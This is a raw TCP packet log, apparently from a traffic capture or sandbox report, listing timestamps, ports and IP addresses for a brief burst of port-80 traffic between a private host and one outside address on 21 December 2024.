Dec 21, 2024 10:15:30.046149015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.050488949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.050757885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.050781965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.050848961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.055219889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.055231094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.055279970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.059528112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.059626102 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.059649944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.059727907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.064064026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.064136982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.064143896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.064223051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.068598986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.068665028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.068703890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.068809032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.073165894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.073209047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.073271990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.073271990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.077630997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.077683926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.077744961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.077833891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.082205057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.082288027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.082310915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.082370043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.177716017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.177778006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.177803993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.177870035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.179770947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.179783106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.179838896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.183016062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.183060884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.183120966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.183222055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.186569929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.186640024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.186701059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.186763048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.190061092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.190136909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.190196991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.190258026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.193461895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.193546057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.193572998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.193618059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.196852922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.196952105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.196980953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.197040081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.200095892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.200192928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.200225115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.200328112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.203326941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.203476906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.203515053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.203572989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.206496000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.206634045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.206651926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.206746101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.209734917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.209747076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.209877968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.212723017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.212822914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.212918043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.212975025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.215677977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.215764999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.215786934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.215874910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.218844891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.218854904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.218941927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.221894979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.221946955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.221990108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.222125053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.224802971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.224891901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.224916935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.224994898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.227869987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.227951050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.227967024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.228056908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.230945110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.230999947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.231059074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.231107950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.233973026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.234070063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.234091997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.234179974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.237102985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.237178087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.237198114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.237238884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.240073919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.240138054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.240160942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.240211010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.243212938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.243225098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.243345976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.246215105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.246309042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.246330976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.246400118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.249399900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.249461889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.249471903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.249524117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.252315998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.252404928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.252444029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.252444029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.255358934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.255491018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.255517960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.255568981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.258332014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.258452892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.258470058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.258564949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.261415005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.261507034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.261818886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.261867046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.264569998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.264581919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.264633894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.267620087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.267699957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.267719984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.267784119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.270755053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.270792961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.270816088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.270842075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.273655891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.273780107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.273802042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.273858070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.276644945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.276694059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.276715994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.276760101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.279856920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.279866934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.279938936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.369558096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.369668961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.369702101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.369755030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.370928049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.370987892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.371066093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.371171951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.373543978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.373555899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.373634100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.375730991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.375802994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.375906944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.375958920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.378196955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.378249884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.378341913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.378391027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.380477905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.380554914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.380594015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.380659103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.382869959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.382951975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.382967949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.383023977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.385154963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.385205030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.385240078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.385308027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.387502909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.387595892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.387620926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.387680054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.389663935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.389802933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.389827013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.389898062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.392144918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.392213106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.392314911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.392314911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.394047022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.394140005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.394172907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.394330025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.396255016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.396363974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.396394968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.396452904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.398313999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.398377895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.398381948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.398432970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.400399923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.400464058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.400552034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.400701046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.402574062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.402673960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.402700901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.402770042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.404647112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.404674053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.404722929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.404740095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.406650066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.406739950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.406799078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.406852961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.408711910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.408776999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.408857107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.408916950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.410727024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.410795927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.410813093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.410855055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.412741899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.412789106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.412810087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.412878990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.414747000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.414848089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.414907932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.414966106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.416790009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.416904926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.416925907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.416980028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.418847084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.418930054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.418953896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.419035912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.420860052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.420922995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.420957088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.421046972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.422944069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.422986031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.422992945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.423034906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.424983978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.424994946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.425090075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.426995993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.427071095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.427141905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.427186012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.429126024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.429136992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.429205894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.431041002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.431121111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.431142092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.431241989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.433065891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.433125019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.433155060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.433206081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.435152054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.435230970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.435254097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.435309887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.437128067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.437211990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.437272072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.437304974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.439133883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.439208031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.439239025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.439258099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.441195011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.441315889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.441401005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.441462040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.443242073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.443327904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.443361998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.443418026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.445297003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.445354939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.445374966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.445480108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.447282076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.447335958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.447376966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.447421074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.449321985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.449377060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.449434042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.449553013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.451360941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.451409101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.451436043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.451484919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.453421116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.453504086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.453540087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.453623056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.455442905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.455471039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.455498934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.455522060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.457473993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.457592010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.457654953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.457742929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.459543943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.459620953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.459630966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.459691048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.461559057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.461613894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.461648941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.461708069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.463581085 CET	80	49808	31.41.244.11	192.168.2.4
